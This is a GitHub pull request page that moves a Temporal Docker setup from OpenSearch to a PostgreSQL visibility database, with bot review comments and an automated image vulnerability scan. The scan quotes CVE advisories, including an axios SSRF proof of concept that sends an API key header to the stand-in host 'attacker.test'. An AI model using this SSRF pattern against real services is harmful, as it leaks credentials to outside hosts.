Skip to content

chore(docker): remove OpenSearch service and update PostgreSQL config #16

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged

Conversation

anatolyshipitz
Copy link
Collaborator

  • Removed the OpenSearch service from docker-compose.yml to streamline the setup.
  • Added a new PostgreSQL database for visibility and updated related environment variables.
  • Enhanced health checks for Temporal service to ensure better reliability.
  • Updated init-db.sh to create and grant privileges for the new visibility database.

…uration

- Removed the OpenSearch service from docker-compose.yml to streamline the setup.
- Added a new PostgreSQL database for visibility and updated related environment variables.
- Enhanced health checks for Temporal service to ensure better reliability.
- Updated init-db.sh to create and grant privileges for the new visibility database.
Copy link

coderabbitai bot commented May 2, 2025

Warning

Rate limit exceeded

@anatolyshipitz has exceeded the limit for the number of commits or files that can be reviewed per hour. Please wait 11 minutes and 12 seconds before requesting another review.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

📥 Commits

Reviewing files that changed from the base of the PR and between edeb1ac and b675106.

📒 Files selected for processing (1)
  • Dockerfile.temporal (2 hunks)
## Walkthrough

This update transitions the Temporal service from using OpenSearch for visibility data to utilizing a dedicated PostgreSQL visibility database. The `docker-compose.yml` file removes the OpenSearch service and its dependencies, introduces new environment variables for PostgreSQL visibility database credentials, and adds a health check for Temporal using `tctl`. The `Dockerfile.temporal` is updated to initialize and update the visibility schema in PostgreSQL. The `init-db.sh` script is modified to grant the Temporal user database creation privileges and to create and configure a new visibility database.

## Changes

| File(s)                | Change Summary                                                                                                                |
|-----------------------|------------------------------------------------------------------------------------------------------------------------------|
| Dockerfile.temporal    | Added RUN command to initialize and update the Temporal visibility schema in PostgreSQL using `temporal-sql-tool`.             |
| docker-compose.yml     | Removed OpenSearch service and related dependencies; added visibility DB environment variables and healthcheck for Temporal.  |
| scripts/init-db.sh     | Granted CREATEDB privilege to temporal user; created and configured a new visibility database owned by the temporal user.      |

## Suggested reviewers

- DenisChistyakov
- killev

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Generate unit testing code for this file.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai generate unit testing code for this file.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and generate unit testing code.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

- Enclosed environment variable references in quotes for better handling of special characters and spaces.
- Ensured consistency in command syntax for setting up and updating the PostgreSQL schema in the Dockerfile.
Copy link

github-actions bot commented May 2, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:8cb3f7d0b9e05795d3781b05c0180d12e0d05a61d24167862c477fafac94fb25
vulnerabilitiescritical: 1 high: 4 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.015%
EPSS Percentile2nd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.132%
EPSS Percentile34th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score12.781%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.056%
EPSS Percentile18th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile53rd percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (2)
scripts/init-db.sh (1)

13-15: Add idempotency to creation logic
Currently, re-running this script will error out if the temporal role or visibility database already exists. Consider guarding these operations with psql checks to skip creation when they already exist, for example:

if ! psql -U postgres -d postgres -tAc "SELECT 1 FROM pg_roles WHERE rolname='${POSTGRES_USER_TEMPORAL}'" | grep -q 1; then
  CREATE USER "${POSTGRES_USER_TEMPORAL}" WITH ENCRYPTED PASSWORD '${POSTGRES_PASSWORD_TEMPORAL}';
fi
if ! psql -U postgres -d postgres -tAc "SELECT 1 FROM pg_database WHERE datname='${POSTGRES_DB_TEMPORAL_VISIBILITY}'" | grep -q 1; then
  CREATE DATABASE "${POSTGRES_DB_TEMPORAL_VISIBILITY}" OWNER "${POSTGRES_USER_TEMPORAL}";
fi

This change will make the script repeatable without failures.

docker-compose.yml (1)

102-107: Improve Temporal healthcheck reliability
The current exec form may always pass if tctl cluster health returns exit code 0 even when not fully serving. Consider switching to a shell form that greps for SERVING:

- healthcheck:
-   test: ["CMD", "tctl", "--address", "temporal:${TEMPORAL_PORT:-7233}", "cluster", "health"]
+ healthcheck:
+   test: ["CMD-SHELL", "tctl --address temporal:${TEMPORAL_PORT:-7233} cluster health | grep -q SERVING"]
    interval: 10s
    timeout: 5s
    retries: 5
    start_period: 30s
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 0b54e9e and 35002a1.

📒 Files selected for processing (3)
  • Dockerfile.temporal (2 hunks)
  • docker-compose.yml (3 hunks)
  • scripts/init-db.sh (1 hunks)
🔇 Additional comments (2)
docker-compose.yml (2)

90-92: Validate consumption of visibility DB env vars
The VISIBILITY_DB_USER/PWD/PORT variables are newly introduced, but the Temporal CLI and base image expect POSTGRES_USER, POSTGRES_PWD, and DB_PORT for connections. Confirm your entrypoint or application config consumes VISIBILITY_*, or consolidate to the existing vars.


53-55:

✅ Verification successful

Ensure init script sees new DB vars
You’ve added POSTGRES_PASSWORD_TEMPORAL and POSTGRES_DB_TEMPORAL_VISIBILITY, which matches init-db.sh. Verify these are indeed available in the init container to avoid silent misconfigurations.

Run:


🏁 Script executed:

docker-compose run --rm postgresql env | grep POSTGRES_DB_TEMPORAL_VISIBILITY

Length of output: 184


Here’s a quick check of how init-db.sh is wired up and whether those env vars are actually set in that service:


🏁 Script executed:

#!/bin/bash
# Locate any references to the init script
rg -n "init-db.sh"

# Show the environment block around where POSTGRES_DB_TEMPORAL_VISIBILITY is declared
rg -C3 -n "POSTGRES_DB_TEMPORAL_VISIBILITY" docker-compose.yml

Length of output: 549


Init script has access to the new DB vars
Both POSTGRES_PASSWORD_TEMPORAL and POSTGRES_DB_TEMPORAL_VISIBILITY are declared in the postgresql service’s environment block (docker-compose.yml lines 51–54), and the init script (./scripts/init-db.sh) is mounted into /docker-entrypoint-initdb.d (line 59). Therefore these variables will be available when the init script runs.

No further action required.

- Updated the PostgreSQL command syntax in Dockerfile.temporal for better readability by adding line continuation with backslashes.
- Ensured consistency in the command structure for setting up and updating the PostgreSQL schema.
….temporal

- Reformatted the PostgreSQL command syntax in Dockerfile.temporal by adding line breaks for improved readability.
- Maintained consistency in the command structure for setting up and updating the PostgreSQL schema.
- Changed command options in Dockerfile.temporal for the PostgreSQL setup to use more descriptive flags: `--endpoint`, `--user`, `--port`, and `--database`.
- Improved clarity and consistency in the command structure for setting up and updating the PostgreSQL schema.
Copy link

sonarqubecloud bot commented May 2, 2025

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@anatolyshipitz anatolyshipitz merged commit 71d7e1c into main May 2, 2025
11 checks passed
@anatolyshipitz anatolyshipitz deleted the issue/64589-temporal-advanced-visibility-postgresql branch May 2, 2025 13:32
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants